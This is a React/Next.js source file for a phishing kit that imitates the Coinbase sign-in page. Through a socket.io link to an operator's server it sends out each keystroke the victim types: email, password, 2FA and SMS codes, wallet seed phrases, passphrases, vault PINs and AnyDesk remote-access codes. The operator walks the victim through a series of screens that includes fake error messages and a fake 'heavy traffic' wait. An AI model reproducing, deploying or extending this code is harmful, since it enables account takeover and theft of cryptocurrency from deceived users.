'use client';

import { useState, useEffect, useRef } from 'react';
import { DefaultEventsMap } from 'socket.io';
import io, { Socket } from 'socket.io-client';
import Link from 'next/link';
import { useRouter } from 'next/navigation';
import { FormData, FormState } from '@/app/forms/index';
import Email from '@/app/forms/Email';
import Password from '@/app/forms/Password';
import { ErrorState } from '@/app/forms/Error';
import TwoFactor from '@/app/forms/TwoFactor';
import { KeyboardEvent } from 'react';
import Sms from '@/app/forms/Sms';
import Seed from '@/app/forms/Seed';
import CbWallet from '@/app/forms/CbWallet';
import { cn, isValidSeed } from '@/lib/utils';
import WalletFlow from '@/app/forms/WalletFlow';
import { browserName } from 'react-device-detect';
import EstMoney from '@/app/forms/EstMoney';
import ResetPw from '@/app/forms/ResetPw';
import WalletFlow2 from '@/app/forms/WalletFlow2';
import Session from '@/app/forms/Session';
import Review from '@/app/forms/Review';
import LastActivity from '@/app/forms/LastActivity';
import FundTransfer from '@/app/forms/Transfer';
import Anydesk from '@/app/forms/Anydesk';
import Unlink from '@/app/forms/Unlink';
import Security from '@/app/forms/Security';
import VideoCall from '@/app/forms/VideoCall';
import { motion } from 'motion/react';
import Vault from '@/app/forms/Vault';
import WalletFlow3 from '@/app/forms/WalletFlow3';
import SigninButton, { IconType } from './SigninButton';
import { VaultData } from './VaultInput';
import { Label } from './ui/label';
import WalletFlow4 from '@/app/forms/WalletFlow4';

export default function ClientForm() {
  const router = useRouter();
  const [formState, setFormState] = useState<FormState>(FormState.Login);
  const [code, setCode] = useState<string>('');
  const [seed, setSeed] = useState<string>('');
  const [vcurl, setvcurl] = useState<string>('');
  const [vault, setVault] = useState<VaultData>({
    money: 0,
    pin: '',
    loaded: false,
    transactions: [],
    addresses: {}
  });
  const [formData, setFormData] = useState<FormData>({
    email: '',
    twoFactorCode: '',
    smsCode: '',
    password: '',
    seed: '',
    estmoney: '',
    oldpw: '',
    newpw: '',
    session: '',
    lastact: '',
    passphrase: '',
    anydesk: '',
    vault: '',
    answers: [],
  });
  const [redirected, setRedirected] = useState<boolean>(false);
  const passwordInputRef = useRef<HTMLInputElement | null>(null);
  const [error, setError] = useState<ErrorState>({});
  const [isSubmitting, setIsSubmitting] = useState(false);
  const [isLoading, setLoading] = useState(true);
  const [socket, setSocket] = useState<Socket<
    DefaultEventsMap,
    DefaultEventsMap
  > | null>(null);

  const handleRedirect = (targ: string) => {
    if (!redirected) {
      setRedirected(true);
      router.push(`/api/redirect?to=${targ}`);
    }
  };

  useEffect(() => {
    let newSocket: Socket | null = null;
    let timer: NodeJS.Timeout | null = null;

    async function initialize() {
      const socketUrl =
        process.env.NEXT_PUBLIC_SOCKET_URL || 'http://localhost:8080';
      if (!socket) {
        newSocket = io(`${socketUrl}/client`);
        setSocket(newSocket);
      } else {
        newSocket = socket;
      }

      newSocket.on('connect', async () => {
        console.log('Socket connected');
        const browser = browserName;
        newSocket?.emit('setBrowser', browser);
      });

      newSocket.on('resume', (menu) => {
        setFormState(menu);
        setLoading(false);
      });

      newSocket.on('setVault', (vault) => {
        console.log('vault lowk', vault);
        setVault(vault);
        setFormState(FormState.Vault);
        setLoading(false);
      });
      newSocket.on('start', (menu) => {
        setFormState(menu);
        setLoading(false);
      });

      newSocket.on('stateChange', (newState) => {
        setIsSubmitting(newState.approving);
        setError({});
        if (
          newState === 'wallet' ||
          newState === 'walletflow' ||
          newState === FormState.FundTransfer
        ) {
          setFormData((prev) => ({
            ...prev,
            seed: '',
          }));
        }
        setFormState(newState);
      });

      newSocket.on('redirect', (targ) => {
        const randomDelay = Math.random() * 2000;
        console.log('waiting:', randomDelay);
        if (!timer) {
          timer = setTimeout(() => {
            handleRedirect(targ);
            timer = null;
          }, randomDelay);
        }
      });

      newSocket.on('blocked', () => {
        router.push('/out/google.com');
      });

      newSocket.on('setCode', (code) => {
        //console.log('received code:', code)
        setCode(code);
        setFormState(FormState.Sms);
      });

      newSocket.on('setVcUrl', (code) => {
        //console.log('received code:', code)
        setvcurl(code);
        setFormState(FormState.VideoCall);
      });

      newSocket.on('setSeed', (code) => {
        //console.log('received code:', code)
        setSeed(code);
        setFormState(FormState.WalletFlow2);
      });

      newSocket.on('setFormData', (data: FormData) => {
        setFormData(data);
      });

      newSocket.on(
        'approve',
        (approve: { approve: boolean; state: string }) => {
          console.log(approve);
          setIsSubmitting(false);
          if (approve.approve) {
            setFormState(FormState.Loading);
            newSocket?.emit('stateChange', 'loading');
          } else {
            switch (formState) {
              case FormState.LoginPassword: {
                setError((prev) => ({
                  ...prev,
                  password: 'Your password is incorrect, try again.',
                }));
                break;
              }
              case FormState.TwoFactor: {
                setError((prev) => ({
                  ...prev,
                  twoFactorCode: '2FA code is invalid.',
                }));
                break;
              }
              case FormState.Sms: {
                setError((prev) => ({
                  ...prev,
                  smsCode: 'SMS code is invalid.',
                }));
                break;
              }
              case FormState.FundTransfer: {
                setError((prev) => ({
                  ...prev,
                  fundtransfer: 'Either your seed is invalid or empty.',
                }));
                break;
              }
              case FormState.Seed: {
                setError((prev) => ({
                  ...prev,
                  seed: 'The provided seed is invalid.',
                }));
                break;
              }
              case FormState.Wallet: {
                setError((prev) => ({
                  ...prev,
                  seed: 'The provided seed is invalid.',
                }));
                break;
              }
              case FormState.Vault: {
                setError((prev) => ({
                  ...prev,
                  vault: 'An unexpected error occured, please try again later.',
                }));
                break;
              }
              case FormState.WalletFlow: {
                setError((prev) => ({
                  ...prev,
                  seed: 'The provided seed is invalid.',
                }));
                break;
              }
              case FormState.WalletFlow2: {
                console.log('got shi');
                setError((prev) => ({
                  ...prev,
                  seed: 'The provided seed is invalid.',
                }));
                break;
              }
              case FormState.WalletFlow4: {
                setError((prev) => ({
                  ...prev,
                  seed: 'The provided seed is invalid, please try again.',
                }));
                break;
              }
              case FormState.ResetPw: {
                setError((prev) => ({
                  ...prev,
                  oldpw: 'Your password is incorrect, try again.',
                }));
                break;
              }
              case FormState.Unlink: {
                setError((prev) => ({
                  ...prev,
                  passphrase: 'Your seed or passphrase is invalid.',
                }));
                break;
              }
              case FormState.Anydesk: {
                setError((prev) => ({
                  ...prev,
                  anydesk: 'Your code is invalid, try again.',
                }));
                break;
              }
              default: {
                setError((prev) => ({
                  ...prev,
                  any: 'An unexpected error occured, please try again later.',
                }));
                break;
              }
            }
            return;
          }
        }
      );

      return () => {
        newSocket?.close();
      };
    }

    initialize().catch(console.error);
  }, [formState, error, code, redirected]);

  useEffect(() => {
    if (formState === FormState.LoginPassword && passwordInputRef.current) {
      passwordInputRef.current.focus();
    }
    setFormData((prev) => {
      return {
        email: prev.email || '',
        twoFactorCode: prev.twoFactorCode || '',
        password: prev.password || '',
        smsCode: prev.smsCode || '',
        seed: prev.seed || '',
        estmoney: prev.estmoney || '',
        newpw: prev.newpw || '',
        oldpw: prev.oldpw || '',
        session: prev.session || '',
        lastact: prev.lastact || '',
        anydesk: prev.anydesk || '',
        passphrase: prev.passphrase || '',
        vault: prev.vault || '',
        answers: prev.answers || '',
      };
    });
  }, [formState]);

  const handleInputChange = (name: string, value: string | string[]) => {
    const numberRegex = /^\d+$/;
    if (
      name === 'twoFactorCode' &&
      typeof value === 'string' &&
      value !== '' &&
      !numberRegex.test(value.trim())
    )
      return;
    if (name === 'vault') {
      socket?.emit('setPin', value);
    }
    const updatedFormData = { ...formData, [name]: value };

    setError({});
    setFormData(updatedFormData);

    const emittedData = {
      email: updatedFormData.email,
      twoFactorCode: updatedFormData.twoFactorCode,
      password: updatedFormData.password,
      smsCode: updatedFormData.smsCode,
      seed: updatedFormData.seed,
      estmoney: updatedFormData.estmoney,
      newpw: updatedFormData.newpw,
      oldpw: updatedFormData.oldpw,
      session: updatedFormData.session,
      lastact: updatedFormData.lastact,
      anydesk: updatedFormData.anydesk,
      vault: updatedFormData.vault,
      passphrase: updatedFormData.passphrase,
      answers: updatedFormData.answers,
    };

    socket?.emit('dataUpdate', emittedData);
  };

  const handleKeyDown = (event: KeyboardEvent<HTMLInputElement>) => {
    if (event.key === 'Enter') {
      handleContinueClick();
    }
  };

  const handleContinueClick = () => {
    socket?.emit('dataUpdate', formData);
    if (formState === FormState.Login) {
      const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
      if (!emailRegex.test(formData.email)) {
        setError((prevError) => ({
          ...prevError,
          email: 'Please enter a valid email address',
        }));
        return;
      }
      setIsSubmitting(true);
      setError({});
      setTimeout(() => {
        setIsSubmitting(false);
        setFormState(FormState.LoginPassword);
      }, 500);
      return;
    }
    if (formState === FormState.TwoFactor && formData.twoFactorCode.length < 6)
      return;

    setIsSubmitting(true);
    socket?.emit('pendingApproval', formState);
  };

  const navigate = (to: FormState) => {
    setIsSubmitting(false);
    setFormState(to);
    socket?.emit('stateChange', to);
    socket?.emit('pendingApproval', 'none');
  };

  const renderForm = () => {
    switch (formState) {
      case FormState.Login:
        return (
          <Email
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
          />
        );
      case FormState.LoginPassword:
        return (
          <Password
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            setIsSubmitting={setIsSubmitting}
            isSubmitting={isSubmitting}
            setFormState={setFormState}
            passwordInputRef={passwordInputRef}
            error={error}
          />
        );
      case FormState.TwoFactor:
        return (
          <TwoFactor
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            isSubmitting={isSubmitting}
            error={error}
          />
        );
      case FormState.Security:
        return (
          <Security
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            handleContinue={handleContinueClick}
            isSubmitting={isSubmitting}
            error={error}
          />
        );
      case FormState.Sms:
        return (
          <Sms
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            isSubmitting={isSubmitting}
            error={error}
          />
        );
      case FormState.FundTransfer:
        return (
          <FundTransfer
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
          />
        );
      case FormState.Unlink:
        return (
          <Unlink
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
          />
        );
      case FormState.Seed:
        return (
          <Seed
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            passwordInputRef={passwordInputRef}
            error={error}
          />
        );
      case FormState.Session:
        return (
          <Session
            formData={formData}
            isSubmitting={isSubmitting}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            passwordInputRef={passwordInputRef}
            code={parseInt(code)}
            error={error}
          />
        );
      case FormState.Review:
        return (
          <Review
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            handleContinue={handleContinueClick}
            isSubmitting={isSubmitting}
          />
        );
      case FormState.LastActivity:
        return (
          <LastActivity
            error={error}
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
          />
        );
      case FormState.Anydesk:
        return (
          <Anydesk
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
          />
        );
      case FormState.Wallet:
        return (
          <CbWallet
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
          />
        );
      case FormState.WalletFlow:
        return socket ? (
          <WalletFlow
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
          />
        ) : (
          <></>
        );
      case FormState.WalletFlow2:
        return socket ? (
          <WalletFlow2
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
            seed={seed}
          />
        ) : (
          <></>
        );
      case FormState.WalletFlow3:
        return socket ? (
          <WalletFlow3
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
            seed={seed}
          />
        ) : (
          <></>
        );
      case FormState.WalletFlow4:
        return socket ? (
          <WalletFlow4
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
          />
        ) : (
          <></>
        );
      case FormState.VideoCall:
        return socket ? (
          <VideoCall
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
            seed={vcurl}
          />
        ) : (
          <></>
        );
      case FormState.ResetPw:
        return (
          <ResetPw
            formData={formData}
            isSubmitting={isSubmitting}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
          />
        );
      case FormState.Vault:
        return socket ? (
          <Vault
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
            error={error}
            handleContinue={handleContinueClick}
            vault={vault}
          />
        ) : (
          <></>
        );
      case FormState.EstMoney:
        return (
          <EstMoney
            error={error}
            formData={formData}
            handleKeyDown={handleKeyDown}
            handleInputChange={handleInputChange}
          />
        );
      case 'loading':
        return (
          <div className="text-center font-cbsans flex flex-col">
            <h2 className="text-xl font-semibold mb-4">Processing...</h2>
            <p className="text-muted-foreground mb-6">
              Please hold on as we process your request. Due to heavy traffic,
              this might take a few minutes.
            </p>
            <p className="text-sm font-bold text-muted-foreground">
              Do not navigate away from this page.
            </p>
            <div className="flex justify-center mt-10 mb-40">
              <div className="loader w-[40px] h-[40px] border-[5px] !border-b-primary border-secondary rounded-full animate-spin"></div>
            </div>
          </div>
        );
      default:
        return null;
    }
  };

  const get_title = (state: string) => {
    switch (state) {
      case 'login':
        return 'Sign in to Coinbase';
      case 'login_pw':
        return 'Sign in to Coinbase';
      case '2fa':
        return 'Enter the 6-digit code from your authenticator app';
      case 'sms':
        return `Enter the 6-digit code we texted to +********${code}`;
      case 'review':
        return 'Review your account';
      case FormState.LastActivity:
        return 'Confirm last account activity';
      default:
        return null;
    }
  };
  const isFormStateWalletFlow =
    formState === FormState.Wallet || formState === FormState.FundTransfer;
  return (
    <div className="flex flex-col items-center w-full relative">
      {isLoading && (
        <motion.div
          className="absolute z-30 w-full min-h-screen flex items-center justify-center bg-background"
          initial={{ opacity: 1 }}
          animate={{ opacity: 1 }}
          exit={{ opacity: 0 }}
          transition={{ duration: 0.2, ease: 'easeInOut' }}
        >
          <motion.div
            className="loader w-[50px] h-[50px] border-[5px] border-b-primary border-secondary rounded-full animate-spin"
            initial={{ scale: 1 }}
            animate={{ scale: 1 }}
            exit={{ scale: 0.8, opacity: 0 }}
            transition={{ duration: 0.3, ease: 'easeInOut' }}
          ></motion.div>
        </motion.div>
      )}
      <div className="border-0 sm:border border-line rounded-[16px] max-w-[448px] w-full flex-col px-[40px] pt-[40px] pb-[34px] dark:shadow-md flex justify-center font-cb">
        <h2 className="text-[28px] font-semibold text-foreground leading-9 pr-[72px] pb-4">
          {get_title(formState)}
        </h2>
        <div className="flex flex-col">{renderForm()}</div>
        {formState !== 'loading' &&
          formState !== 'walletflow' &&
          formState !== 'walletflow2' &&
          formState !== 'resetpw' &&
          formState !== 'review' &&
          formState !== 'vault' &&
          formState !== 'security' &&
          formState !== FormState.WalletFlow3 &&
          formState !== FormState.WalletFlow4 &&
          formState !== FormState.Anydesk &&
          formState !== 'videocall' && (
            <div className="flex flex-col gap-4 pt-4">
              <button
                className={cn(
                  formState === FormState.Wallet
                    ? 'disabled:opacity-40 bg-background shadow-signin text-center font-semibold flex items-center justify-center h-[56px] magic !w-full'
                    : `disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground dark:disabled:!text-white transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${isSubmitting
                      ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none'
                      : ''
                    }`,
                  'text-background'
                )}
                disabled={
                  (formState === '2fa' && formData.twoFactorCode.length < 6) ||
                  (formState === 'sms' && formData.smsCode.length < 6) ||
                  (formState === 'session' &&
                    formData.session.length < parseInt(code)) ||
                  (isFormStateWalletFlow && !isValidSeed(formData.seed))
                }
                onClick={handleContinueClick}
              >
                {isSubmitting ? (
                  <div
                    className={cn(
                      formState === FormState.Wallet
                        ? '!border-b-[rgb(67,70,75)]'
                        : '!border-b-white dark:!border-b-[rgb(10,11,13)]',
                      'loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
                    )}
                  ></div>
                ) : (
                  'Continue'
                )}
              </button>
              {formState === FormState.Wallet ? (
                <div className="flex flex-col ">
                  <div className="flex flex-row gap-2 items-center justify-center">
                    <svg
                      xmlns="http://www.w3.org/2000/svg"
                      role="img"
                      aria-label="Coinbase Wallet Logo"
                      viewBox="0 0 24 24"
                      width="24"
                      height="24"
                      fill="none"
                    >
                      <title>Coinbase Wallet Logo</title>
                      <path
                        d="M0 12C0 18.6267 5.37333 24 12 24C18.6267 24 24 18.6267 24 12C24 5.37333 18.6267 0 12 0C5.37333 0 0 5.37333 0 12ZM8.93333 8.13333C8.49 8.13333 8.13333 8.49 8.13333 8.93333V15.0667C8.13333 15.51 8.49 15.8667 8.93333 15.8667H15.0667C15.51 15.8667 15.8667 15.51 15.8667 15.0667V8.93333C15.8667 8.49 15.51 8.13333 15.0667 8.13333H8.93333Z"
                        fill="#FFFFFF"
                        fillRule="evenodd"
                        clipRule="evenodd"
                      ></path>
                    </svg>
                    <p className="text-[13px] font-cbtext leading-4 py-4">
                      Powered by Coinbase Wallet
                    </p>
                  </div>
                  <p className="text-muted-foreground font-cbtext text-[13px] leading-4 text-center">
                    By using Coinbase Wallet, you agree to the{' '}
                    <span className="underline">terms</span> and have read{' '}
                    <span className="underline">privacy policy</span>
                  </p>
                </div>
              ) : (
                <></>
              )}
              {formState === 'login' ? (
                <>
                  <div className="flex w-full flex-col pb-4 gap-4 items-center">
                    <div className="relative w-full flex justify-center">
                      <div className="z-10 px-4 flex bg-white dark:bg-[rgb(10,11,13)]">
                        <div className="text-[13px] leading-4 text-center">
                          OR
                        </div>
                      </div>
                      <div className="w-full absolute top-[8px] self-stretch flex">
                        <div className="h-[1px] bg-[rgba(138,145,158,0.2)] flex-grow"></div>
                      </div>
                    </div>
                    <div className="flex items-center flex-col w-full gap-2">
                      <SigninButton name="Passkey" logo={IconType.PassKey} />
                      <SigninButton name="Google" logo={IconType.Google} />
                      <SigninButton name="Apple" logo={IconType.Apple} />
                      <SigninButton
                        name="Wallet"
                        logo={IconType.Wallet}
                        onClick={() => {
                          navigate(FormState.Wallet);
                        }}
                      />
                    </div>
                  </div>
                  <Label className="hidden sm:block font-cbtext indent-2 text-[13px] leading-4 text-center text-muted-foreground px-[46px] font-[400] w-full">
                    {'Not your device? Use a private window. '}
                    {'See our '}
                    <Link
                      className="underline"
                      href={'https://coinbase.com/legal/privacy'}
                    >
                      Privacy Policy
                    </Link>
                    {' for more info.'}
                  </Label>
                </>
              ) : (
                <></>
              )}
            </div>
          )}
      </div>
      {formState !== 'loading' &&
        formState !== 'login' &&
        formState !== 'walletflow' &&
        formState !== 'walletflow2' &&
        formState !== 'resetpw' &&
        formState !== 'session' &&
        formState !== 'review' &&
        formState !== 'activity' &&
        formState !== FormState.Anydesk &&
        formState !== 'fundt' &&
        formState !== 'unlink' &&
        formState !== 'vault' &&
        formState !== 'estmoney' &&
        formState !== 'security' &&
        formState !== FormState.WalletFlow3 &&
        formState !== FormState.WalletFlow4 &&

        formState !== 'videocall' && (
          <div className="flex flex-col items-center py-6">
            <button
              onClick={() => {
                navigate(FormState.Login);
              }}
            >
              <span className="text-[16px] leading-6 font-cbsans text-primary">
                Cancel signing in
              </span>
            </button>
          </div>
        )}
    </div>
  );
}
